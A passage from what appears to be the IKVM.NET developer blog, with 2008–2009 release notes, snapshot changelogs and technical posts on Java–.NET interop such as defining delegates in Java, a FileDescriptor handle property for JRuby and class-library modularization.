Somewhat ironically, this change breaks the compilation of ikvm's JniInterface.cs, because it stuffs a RuntimeMethodHandle in unmanaged memory. The fix is fairly straightforward (using a GCHandle to point to the MethodBase instead), but it does reveal an interesting property of C#, if you use unsafe code the (normally hidden) implementation details of managed value types can cause your code to break (and not because you explicitly depend on any internals).

What Does This Mean for IKVM.NET?

It would be really awesome if this feature could be used to finally make ClassLoaders garbage collectable, but unfortunately for that to happen this ancient bug first has to be fixed.

5/22/2009 7:26:20 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Wednesday, April 22, 2009

IKVM 0.40 Release Candidate 1

Thanks to Nat Luengnaruemitchai the MDB symbol writer has been fixed and finished and a couple of bugs were fixed.

Changes:

  • Changed version to 0.40.0.1.
  • Updated copyright notices in OpenJDK assemblies.
  • Fixed bug in workaround for #486307 that could cause "duplicate MemberRef" warnings when running PEVerify on an ikvmc generated assembly.
  • Fixed bug #2777128.
  • Fixed bug #2777171.

Binaries available here: ikvmbin-0.40.0.1.zip

Sources: ikvm-0.40.0.1.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

4/22/2009 7:03:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, April 21, 2009

New Development Snapshot

A couple of fixes and some more OpenJDK AWT/Swing merges.

Changes:

  • Fixed build regression introduced in previous snapshot caused by different build directory structure in OpenJDK 6 b16.
  • Handle Graphics2D.setPaint(null) correctly.
  • Integrated OpenJDK java/awt/image and java/awt/image/renderable packages.
  • Fixed duplicate MemberRefs generated by IKVM.Reflection.Emit caused by Mono workaround generic types not being canonicalized.
  • Integrated OpenJDK sun/swing and sun/awt packages.

Binaries available here: ikvmbin-0.41.3398.zip

4/21/2009 8:03:55 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, April 16, 2009

New Development Snapshot

Even though 0.40 is still baking, I'm already working on the next version.

Changes:

  • Integrated OpenJDK 6 b16.
  • Changed decoded bytecode stream to use indexes in branches instead of PC offsets.
  • Fixed .MDB debug symbol generation (thanks to Nat Luengnaruemitchai).
  • Several AWT fixes contributed by Judit Vasko-Szedlar (Chemaxon).
  • Moved jsr/ret bytecode processing into a seperate (inlining) pass to reduce complexity in the verifier and compiler.
  • Fixed a bug in the compiler that caused exception handler to be dropped after an unreachable exception block was encountered.
  • Updated copyright notices.

Binaries available here: ikvmbin-0.41.3393.zip

OpenJDK 6 b16 sources + build artifacts: openjdk6-b16-stripped.zip

4/16/2009 12:26:38 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 06, 2009

IKVM 0.40 Release Candidate 0

The eagerly anticipated (by some) first release candidate of 0.40 is ready!

Changes since previous snapshot:

  • Changed version to 0.40.0.0.
  • Added back RMI stubs that got left out in the module split.
  • Added cmm profiles and dummy color management implementation.
  • Fixed regression in ObjectInputStream.latestUserDefinedLoader().

Binaries available here: ikvmbin-0.40.0.0.zip

Sources: ikvm-0.40.0.0.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

4/6/2009 11:05:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, March 27, 2009

New Development Snapshot -- Help Needed

As 0.40 is getting nearer, I need some help. This snapshot is pretty close to what the first 0.40 release candidate is going to be. However, there is still something missing. As part of this release cycle I wrote a custom implementation of Reflection.Emit named IKVM.Reflection.Emit. This is the part that is responsible for writing managed PE binaries used by ikvmc. It is also responsible for writing the debugging files (.pdb on .NET and .mdb on Mono). I've written a working .pdb writer, but only a basic (and untested) implementation of the .mdb writer and this where I need help. I need someone to test, debug, finish this. So if you care about being able to debug your Java code in MonoDevelop, please help out! To get an idea of what's involved here is the current source.

Changes:

  • Workaround for Mono bug 486307.
  • Added "Windows 7" detection for os.name system property.
  • Improved IKVM.Reflection.Emit symbol writer "plug in" interface.
  • Wrote a basic (untested) symbol writer for Mono.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3373.zip
 

3/27/2009 6:25:54 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, March 17, 2009

New Development Snapshot

One major change: I rewrote exception handling to store exception state in java.lang.Throwable (for non-.NET exceptions) instead of using a weak map. I never got around to doing that earlier, because the overhead of exceptions on the CLR is such that the weak map didn't contribute significantly, but on Mono the situation was very different, as it turns out the weap map was very slow there and exception handling is much faster. Anyway, the result is that on Mono a particular microbenchmark went from 40 seconds to less than a second. On the CLR the performance is also a little bit better, but still horrible.

If you use exceptions for control flow, make sure to override fillInStackTrace (simply "return this") as this saves a lot of time in collecting the stack trace. On previous versions of IKVM this sometimes didn't help, but now it always does.

Changes:

  • Rewrote exception handling.
  • Moved PDB generating code (used by IKVM.Reflection.Emit.dll) into a separate assembly (IKVM.PdbWriter.dll) to work around missing ISymWrapper.dll on Mono.
  • Made java.lang.Object and java.lang.StackTraceElement serializable (in the .NET sense).
  • Added workaround for Mono bug (Type.IsGenericTypeDefinition throws for non-MonoType types).
  • Fixed ikvm.extensions.ExtensionMethods.printStackTrace() to unmap the exception after printing the stack trace.
  • Volker implemented a couple more AWT graphics functions.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3363.zip
 

3/17/2009 7:10:27 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Thursday, March 12, 2009

New Development Snapshot

Various fixes and improvements.

Changes:

  • Made Mono compilation workarounds conditional on __MonoCS__.
  • Fixed Class.desiredAssertionStatus() instrinsic to use the RemoveAsserts flag from the right class loader.
  • Fixed several generics related bugs in IKVM.Reflection.Emit.
  • Implemented ikvm.internal.ClassLiteral<T> to allow for more efficient class literals.
  • Switched java.awt.print package from GNU Classpath to OpenJDK.
  • Switched java.awt.geom package from GNU Classpath to OpenJDK.
  • Switched java.awt.color package from GNU Classpath to OpenJDK.
  • Switched java.awt.event package from GNU Classpath to OpenJDK.
  • Switched java.awt.datatransfer package from GNU Classpath to OpenJDK.
  • Switched java.awt.dnd package from GNU Classpath to OpenJDK.
  • Added hack to skip running the static initializer when computing the serialVersionUID while running ikvmstub.
  • Added support for defining delegates in Java.
  • Fixed regression introduced in 0.38 that caused LinkageError to be thrown instead of ClassCircularyError.
  • Updated mscorlib.jar (to get the new default constructor in MulticastDelegate).
  • Added utility class ikvm.runtime.Delegates to make it easier to create Runnables and PrivilegeActions from .NET languages.
  • Fixed JNI constructor invocation on dynamically loaded class.
  • Added hack to java.io.FileDescriptor to support JRuby's tty detection.
  • Implemented java.lang.ClassLoader$NativeLibrary.finalize(). Note that under normal circumstances this is never called, because IKVM doesn't support class unloading and by default finalization doesn't run on exit.
  • Fixed IKVM.Reflection.Emit bug that caused NullReferenceException in Save when using the ikvmc -target:module option.

The last IKVM.Reflection.Emit fix isn't in cvs yet, because SourceForge cvs is down.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3358.zip

3/12/2009 6:41:37 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, March 11, 2009

Defining Delegates in Java

I finally implemented support for defining delegates in Java. The functionality will be available in the next snapshot.

Here's how to do it:

import cli.System.AsyncCallback;
import cli.System.IAsyncResult;
import cli.System.MulticastDelegate;

public final class RunnableDelegate extends MulticastDelegate
{
    public RunnableDelegate(Method m) { }
    public native void Invoke();
    public native IAsyncResult BeginInvoke(AsyncCallback callback, Object obj);
    public native void EndInvoke(IAsyncResult res);
    public interface Method
    {
        void Invoke();
    }
}

This is the recommended pattern. There is a little flexibility, but there are a number of strict rules, if you violate any of these rules, the class will fail to load (or compile with ikvmc) with a java.lang.VerifyError.

Delegate rules:

  • Class must extend cli.System.MulticastDelegate.
  • Class must be final.
  • Class must have a single method named Invoke that is public, native, non-final and non-static.
  • Class must have a single public constructor taking an inner interface named Method and have an empty method body (actually it must call the base class default constructor using the canonical bytecode sequence).
  • Class may have BeginInvoke/EndInvoke methods, but if it has either one it must have both. The BeginInvoke and EndInvoke methods must have a singature that is implied by the signature of Invoke.
  • Class must have a public inner interface named Method with a single method named Invoke with a signature identical to the Invoke method in the class.
  • Class may not have any fields.
  • Class may not have any other native methods.
  • Class must be static if it is an inner class. (This isn't a real rule, it follows from the other rules.)

The delegate is usable from Java like other .NET delegates, but obviously it doesn't add much value there. The real value comes from being able to better interact with other .NET languages. For example, one cool trick is this:

public final class RunnableDelegate
  
 extends MulticastDelegate
    implements Runnable
{
    public RunnableDelegate(Method m) { }
    public native void Invoke();
    public interface Method
    {
        void Invoke();
    }
    public void run()
    {
        Invoke();
    }
}

Now you have a delegate that also implements java.lang.Runnable. Unfortunately, C# doesn't understand that delegates can implement interfaces, so we need a helper method:

package ikvm.runtime;

public final class Delegates
{
    public static Runnable toRunnable(RunnableDelegate delegate)
    {
        return delegate;
    }
}

Now you can do this in C#:

java.lang.Thread thread = new java.lang.Thread(
    ikvm.runtime.Delegates.toRunnable(delegate {
        Console.WriteLine("Hello World");
    }));
thread.start();

I've currently defined delegates for java.lang.Runnable and java.security.PrivilegedAction as inner classes of ikvm.runtime.Delegates. There are some other candidate interfaces in IKVM.OpenJDK.Core.dll, but I'll only add them if there is demand, so let me know.

3/11/2009 6:44:02 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, March 10, 2009

100% Pure Java

In the past weekend I tried running JRuby 1.2.0RC2's interactive command line jirb on IKVM.NET. It somehow reminded me of an experience I had a little over a decade ago getting an application certified for as 100% Pure Java.

At the time I didn't really see the point of the 100% Pure Java certification, but Sun convinced us (mostly by offering to pay the certification costs), so we went ahead and eventually got certified. As far as I remember we didn't have any major issues, mostly some hardcoded paths that included backslashes and some dependencies on a case insenstive file system (to make it easier to find these issues without having to buy Solaris, I actually patched the C runtime that came with the Windows JDK to make all file access case sensitive). The other problem was that in those days Swing was exceptionally unstable on Solaris, but they eventually conceded that this wasn't our fault ;-)

JRuby

As some may remember, I have been running JRuby tests for a while. This is an older version of JRuby (I don't even know which version) and not used interactively. In any case, running the most recent JRuby revealed a number of issues:

  1. IKVM.NET bug in JNI that caused constructing an object of a dynamically loaded class via JNI to fail.
  2. IKVM.NET regression introduced a couple of days ago.
  3. An infinite recursion bug in the CLR x64 JIT.
  4. JRuby Issue.
  5. JNA Issue (JNA is a library used by JRuby that provides P/Invoke like functionality).

JRuby Issue

The first issue was that when I started jirb, it would not come up with the irb(main):001:0> prompt but simply read lines, echo them back and execute them. After debugging this I found that JRuby uses reflection to access the private handle field in java.io.FileDescriptor (when on Windows). IKVM's FileDescriptor didn't have a handle field, because it uses .NET's System.IO.Stream instead of the native Win32 API.

I solved this by adding a handle property to FileDescriptor (not the actual code):

@ikvm.lang.Property(get = "get_handle")
private long handle;

private long get_handle() {
  if (stream instanceof cli.System.IO.FileStream) {
    cli.System.IO.FileStream fs = (cli.System.IO.FileStream)stream;
    return fs.get_Handle().ToInt64();
  } else if (this == in) {
    return GetStdHandle(-10).ToInt64();
  } else if (this == out) {
    return GetStdHandle(-11).ToInt64();
  } else if (this == err) {
    return GetStdHandle(-12).ToInt64();
  }
  return -1;
}

@DllImportAttribute.Annotation("kernel32")
private static native cli.System.IntPtr GetStdHandle(int nStdHandle);

Now when JRuby uses reflection to get the handle field, it ends up calling the get_handle method and it will get the right handle back. The nice thing about implementing this as a property it that it means the cost is virtually zero when you're not accessing it and it also delays the full trust requiring native method invocation until it is really needed, which means that partial trust code won't be affected.

This solved the first problem, the right prompt now appeared.

JNA Issue

The next problem appeared after I ran jruby.jar through ikvmc and ran the resulting jruby.exe. After exiting I would get an exception:

irb(main):001:0> exit
java.io.IOException: Cannot run program "C:\.virtual-ikvm-home/bin/java": The system cannot find the file specified
    at java.lang.ProcessBuilder.start(ProcessBuilder.java:474)
    at java.lang.Runtime.exec(Runtime.java:610)
    at java.lang.Runtime.exec(Runtime.java:483)
    at com.sun.jna.Native$DeleteNativeLibrary.run(Native.java:761)
    at java.lang.Thread.threadProc(Thread.java:2297)
    at java.lang.Thread$1.Invoke(Thread.java:797)
    at cli.System.Threading.ThreadHelper.ThreadStart_Context(Unknown Source)
    at cli.System.Threading.ExecutionContext.Run(Unknown Source)
    at cli.System.Threading.ThreadHelper.ThreadStart(Unknown Source)
Caused by: java.io.IOException: The system cannot find the file specified
    at java.lang.ProcessImpl.<init>(ProcessImpl.java:126)
    at java.lang.ProcessImpl.start(ProcessImpl.java:54)
    at java.lang.ProcessBuilder.start(ProcessBuilder.java:467)
    ... 8 more

This didn't show up when running via ikvm.exe, because I recently added support for this, but when running jruby.exe the ikvm.exe file wasn't available. I debugged this because I was curious why a new JVM was being started at exit. It turns out that JNA extracts a JNI DLL into the temp directory and wants to delete that at exit. While the DLL is loaded by the JVM, it cannot be deleted so in a shutdown hook it fires up a new JVM to delete the temporary file. This is already pretty gross (and not 100% Pure Java :-)), but not the actual issue. Digging deeper I found that this is the alternative code path, because they first attempt to unload the DLL by explicitly calling java.lang.ClassLoader$NativeLibrary.finalize() via reflection on the NativeLibrary object that corresponds to their DLL. This is, of course, exceptionally evil. Nevertheless, I have now implemented support for this in IKVM.

Conclusion

Maybe 100% Pure Java isn't as useless as I thought a decade ago :-)

3/10/2009 6:53:42 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Monday, March 02, 2009

New Development Snapshot

In keeping with the recent coincidental trend of releasing a development snapshot every ten days, here's the next one. This time a got a little side tracked and decided to do some optimizations.

A cute one is that Object.getClass() is now an intrinsic in two specific scenarios. The first scenario is trivial, when it is used to do a null reference check (javac uses this pattern, both in its source and in the code it generates), the second scenario is a little more interesting:

boolean equals(Object other)
{
  if (other.getClass() != this.getClass())
    return false;
  ...
}

Is now compiled into:

boolean equals(Object other)
{
  if (Type.GetTypeHandle(other).Value != Type.GetTypeHandle(this).Value)
    return false;
  ...
}

This removes the need to create (and lookup) the System.Type and java.lang.Class objects entirely.

Changes:

  • Added wildcard exports for assemblies referenced by non-main assembly in shared class loader group.
  • Intrinsified two uses of Object.getClass().
  • Minor optimization to TypeWrapper.ClassObject.
  • Added optimization to reflective instantiation to use Activator.CreateInstance() when that is almost as fast as our LCG based implementation (which has a far higher initial cost).
  • Removed some unnecessary initializations from java.lang.Class.
  • Changed runtime calls to AccessController.doPrivileged() to explicitly pass callerID.
  • Added support for multi level stack tracking to CodeEmitter.
  • Made most Pop emitting lazy to enable optimizing them away (together with corresponding push).
  • Made loading class literal lazy, to enable optimizing them away when they aren't used (e.g. because an atomic intrinsic).
  • Made Class.desiredAssertionStatus() into an intrinsic, to be able to optimize it away when -removeassertions is used.
  • Avoid constructing AssemblyName objects when reading the export map (it turns out that constructing an AssemblyName is pretty expensive).
  • Made the export map reading lazy.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3348.zip
 

3/2/2009 6:43:55 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, February 20, 2009

New Development Snapshot

Yet more changes to support -sharedclassloader and while I was at FOSDEM I tried running SPECjvm2008 so I did the fixes necessary to get that to run. Note that if you want to run SPECjvm2008, you'll have to generate rt.jar (ikvmstub -shared ikvm.openjdk.core && ren IKVM.OpenJDK.Core.jar rt.jar) and create an ikvm.exe.config file to set the boot class path to rt.jar:

<?xml version="1.0"?>
<configuration>
  <appSettings>
    <add key="ikvm:sun.boot.class.path" value="\ikvm\lib\rt.jar" />
  </appSettings>
</configuration>

Changes:

  • Implemented JPEGImageWriter.getDefaultWriteParam().
  • Added dummy implementations for java.awt.Graphics.setComposite/getComposite/getFontRenderContext.
  • Added supported for redirecting Runtime.exec("java ...") to ikvm.exe.
  • Small performance improvement to stack walking in ObjectInputStream.
  • Removed several JIT performance workarounds that are no longer needed as of .NET 2.0 SP2 (aka .NET 3.5 SP1) .
  • Added hack to ikvmstub (-shared option) to generate stubs for core class library.
  • Imported JMath (John F. Brophy's pure Java port of fdlibm) and use it for most Math functions instead of .NET Math API.
  • Made 32 bit floating point math more compatible by rounding to 32 bit after every operation. On x86 this takes a significant performance hit, but without it the differences were too large for the SPECjvm2008 sunflow benchmark to pass.
  • Set foreground/background colors for java.awt.Graphics created from Image correctly.
  • Added support for setting the JPEG compression level and for custom quantization (but not huffman) tables.
  • Moved Y correction to java.awt.Graphics2D float overload of drawString, so that it too positions the text (approx.) correctly.
  • Don't overwrite the thread context class loader if it has already been set when sun.misc.Launcher initializes. Thanks to Dawid Weiss for finding this.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3338.zip
 

2/20/2009 6:04:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, February 10, 2009

New Development Snapshot

More changes to support -sharedassemblyclassloader, a couple of fixes and Volker's JDBC-ODBC bridge implementation.

Changes:

  • Moved JDBC code into IKVM.OpenJDK.Jdbc.dll.
  • Added JDBC-ODBC-Bridge (based on System.Data.Odbc) to IKVM.OpenJDK.Jdbc.dll.
  • Fixed IKVM.Reflection.Emit's AssemblyBuilder.AssemblyName to always include Version, Culture and PublicKeyToken.
  • Fixed NullReferenceException in IKVM.Reflection.Emit's SignatureHelper.WriteType.
  • Implemented TypeWrapper.GetEnclosingMethod for ReflectionOnly assemblies (this allows ikvmstub to work on ikvmc generated assemblies loaded by specifying a path).
  • Fixed pointer type check for method return types.
  • When ikvmc loads a referenced assembly that is the main assembly of a sharedclassloader group, also pre-load the other assemblies in the group.
  • More fixes to deal with the fact that the AssemblyClassLoader <-> Assembly mapping is no longer a one to one relation.
  • Changed AssemblyClassLoader to cache assembly load failures (because the CLR binder also caches failures).
  • Disable String.toCharArray() intrinsic in dynamic mode, because it relies on defining global variables which aren't available in dynamic mode.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3328.zip

2/10/2009 8:55:25 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, February 05, 2009

IKVM 0.38 Update 1 RC 1

A fairly serious (because of its potentially elusive nature) bug was found in 0.38 and I forgot to update the version number of IKVM.OpenJDK.ClassLibrary.dll in the previous release candidate, so here is a new release candidate.

Changes:

  • Changed version to 0.38.0.4.
  • Fixed bug in PassiveWeakDictionary that caused ghost arrays to lose their type after a while. Thanks to Dawid Weiss for reporting this issue.

Binaries available here: ikvmbin-0.38.0.4.zip
Sources (+ binaries): Sources: ikvm-0.38.0.4.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip
 

2/5/2009 3:51:03 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, February 02, 2009

IKVM 0.38 Update 1 RC 0

Since there isn't yet a schedule for when 0.40 will be available, I decided to release an update of 0.38 that includes recent bug fixes.

Changes:

  • Changed version to 0.38.0.3.
  • Fixed the stack trace when an unwrapped java.lang.Error (or subclass) escapes from a static initializer.
  • It turns out that we really should create an MBeanServer in sun.management.ManagementFactory.createPlatformMBeanServer(), even if we don't populate it with anything useful, applications might still want to register their own MBeans. This fix allows Derby 10.4.2.0 to work.
  • Added helpful message to ClassCastException generated for ghost array casts.
  • Added check for constructor with missing body in map.xml.
  • Removed over eager state checking from java.util.zip.Deflater. Fixes Lucene issue.
  • Fixed enclosing method discovery to work for ReflectionOnly assemblies. This allows ikvmstub to work with ikvmc generated assemblies.
  • Always emit an explicit method override if we've mangled the name/sig, because we can't predict whether it will be needed or not (without keeping track of the mangling in the base classes) and the cost is minimal since this doesn't happen all that often.
  • Miranda method should use mangled name (if the name is mangled).
  • Fixed pointer detection to work for types with multiple indirection levels.
  • If the last call site of a subroutine wasn't reachable, the return switch would fall through potentially causing the code to be unverifiable.
  • The check for unloadable types on the stack indexed the stack in the wrong order.
  • Fixed exception wrapping for java.security.AccessController.doPrivileged().
  • Fixed tracer to only add a trace listener in executables.

Binaries available here: ikvmbin-0.38.0.3.zip
Sources (+ binaries): Sources: ikvm-0.38.0.3.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip
 

2/2/2009 7:01:55 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Wednesday, January 21, 2009

New Development Snapshot

Volker Berlin continues working on integrating more OpenJDK awt/image related code. He also started on a fully managed JDBC / ODBC bridge implementation (using System.Data.Odbc). I did some bug fixes and few small improvements here and there.

Changes:

  • Fixed the stack trace when an unwrapped java.lang.Error (or subclass) escapes from a static initializer.
  • It turns out that we really should create an MBeanServer in sun.management.ManagementFactory.createPlatformMBeanServer(), even if we don't populate it with anything useful, applications might still want to register their own MBeans. This fix allows Derby 10.4.2.0 to work.
  • Various java.awt.image.BufferedImage improvements.
  • Use CallerID instead of stack walking in java.util.ResourceBundle.
  • Moved java.security.AccessController.doPrivileged() implementation to Java and use CallerID to avoid stack walk.
  • JPEG support added to ImageIO.
  • Switched to using OpenJDK ColorModel code.
  • Use CallerID instead of stack walking in java.sql.DriverManager.
  • Added helpful message to ClassCastException generated for ghost array casts.
  • Convert a Java filename to a .NET filename in NetToolkit.createImage(String).
  • Added workarounds to make IKVM.Reflection.Emit work on Mono (2.2 or higher required).
  • Made ISymWrapper.dll dependency conditional in build to make IKVM.Reflection.Emit compile on Mono.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3308.zip
 

1/21/2009 6:52:54 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 29, 2008

IKVM 0.38 Released

I've released IKVM 0.38 to SourceForge. The binaries are identical to the ones in release candidate 2.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.
  • When a java.lang.Error (or subclass) is thrown in (and escapes) a static initializer, the stack trace might be (partially) lost.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compatibility rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.
  • Under specific circumstances ikvmc may die with an exception if you're compiling code that references missing classes. As a workaround, supply the missing classes (may be stubs).
  • Under specific circumstances ikvmc may produce unverifiable code if you're compiling code that references missing classes. As a workaround, supply the missing classes (may be stubs).

Class Library

Most class library code is based on OpenJDK 6 build 12. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt GNU Classpath implementation with partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Not implemented.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Not implemented.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows


Partial Trust

There is experimental support for running in partial trust.
 

12/29/2008 8:46:52 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Wednesday, December 24, 2008

New Development Snapshot

I've checked in all the changes required to split the class library into ten different assemblies. So here is the first snapshot that contains the split binaries.

This means that the -sharedclassloader ikvmc option has been implemented, but it isn't ready for prime time yet, for now I've only focussed on getting the core class library to build with it.

Changes:

  • Split IKVM.OpenJDK.ClassLibrary.dll into ten parts.
  • Added -sharedclassloader option to ikvmc.
  • Removed some GNU Classpath build leftovers.
  • Removed workaround for com.sun.beans.ObjectHandler.classForName2() that hopefully isn't necessary any more.
  • Made ikvmc emit a warning whenever it emits code that throws a hard error.
  • Fixed ikvmc to detect access to members in another assembly that expose non-public types from that assembly (the CLR doesn't allow this) and generate java.lang.IllegalAccessError (plus warning during compilation) instead of producing invalid code.
  • Volker Berlin checked in his first set of changes to replace java.awt.image.BufferedImage with the OpenJDK version.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3280.zip

12/24/2008 7:14:18 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, December 19, 2008

Modularization Status Update

I've been doing lots of modularization work, but I'm not quite ready to check it in yet. I've now split the class library assembly into ten assemblies and I've got "shared class loader" support working (at least for the core class library scenario).

I've been positively surprised by how many scenarios can be supported while only loading IKVM.OpenJDK.Core.dll. As the graph below shows, it has more (necessarily circular) dependencies than I would like, but for a number of scenarios I've carefully tweaked the set of classes in Core to enable lazy loading the dependencies only when they are really needed.

I'm not yet ready to commit to supported "Core-only" scenarios, but here's a flavor of some things I've been able to do:

  • Running "Hello, World!" in dynamic mode
  • Serialization
  • Reflection
  • File I/O & Socket I/O (both classic and nio)

Packages included in Core:

  • java.io
  • java.lang
  • java.lang.annotation
  • java.lang.ref
  • java.lang.reflection
  • java.math
  • java.net
  • java.nio
  • java.nio.channels
  • java.nio.channels.spi
  • java.nio.charset
  • java.nio.charset.spi
  • java.security
  • java.security.cert
  • java.util
  • java.util.concurrent
  • java.util.concurrent.atomic
  • java.util.concurrent.locks
  • java.util.regex
  • javax.net

Here is the assembly dependency graph (click the image to enlarge):

Here are the current assembly file sizes:

IKVM.OpenJDK.Core.dll 3,278,848
IKVM.OpenJDK.Security.dll 2,646,016
IKVM.OpenJDK.Util.dll 1,111,040
IKVM.OpenJDK.Xml.dll 8,497,664
IKVM.OpenJDK.SwingAWT.dll 3,040,768
IKVM.OpenJDK.Charsets.dll 5,017,088
IKVM.OpenJDK.Corba.dll 2,335,232
IKVM.OpenJDK.Management.dll      1,180,160
IKVM.OpenJDK.Misc.dll 2,668,032
IKVM.OpenJDK.Text.dll 628,736
  30,403,584

It's interesting to see that the total is slightly less than the previous size of IKVM.OpenJDK.ClassLibrary.dll (30,472,704).

12/19/2008 8:49:00 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 08, 2008

Modularizing OpenJDK

Recently Mark Reinhold started blogging about modularizing the JDK. I've been getting requests to split up IKVM.OpenJDK.ClassLibrary.dll for a long time. It's good to see that the Java platform is also moving in that direction, but we needn't wait for that.

